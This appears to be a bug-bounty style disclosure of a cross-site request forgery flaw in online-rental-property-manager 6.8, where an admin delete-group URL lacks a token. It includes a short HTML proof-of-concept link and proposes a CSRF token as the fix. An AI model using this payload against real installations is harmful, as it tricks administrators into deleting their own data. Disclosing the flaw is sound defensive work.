Cross-Site Request Forgery (CSRF) in bigprof-software/online-rental-property-manager
Valid
Reported on
Jul 3rd 2021
✍️ Description
The app/admin/pageDeleteGroup.php?groupID=<ID>
does not have a CSRF protection. This could be used by attackers to trick the admin to delete a group from their system.
🕵️♂️ Proof of Concept
<html>
<body>
<a href="http://<host>/online-rental-property-manager-6.8/app/admin/pageDeleteGroup.php?groupID=6">Click Here !</a>
</body>
</html>
When an admin clicks the link a member is deleted.
💥 Impact
This vulnerability is capable of deleting groups from the platform.
Fix Introduce a CSRF token in the request.
References
We have contacted a member of the
bigprof-software/online-rental-property-manager
team and are waiting to hear back
2 years ago
to join this conversation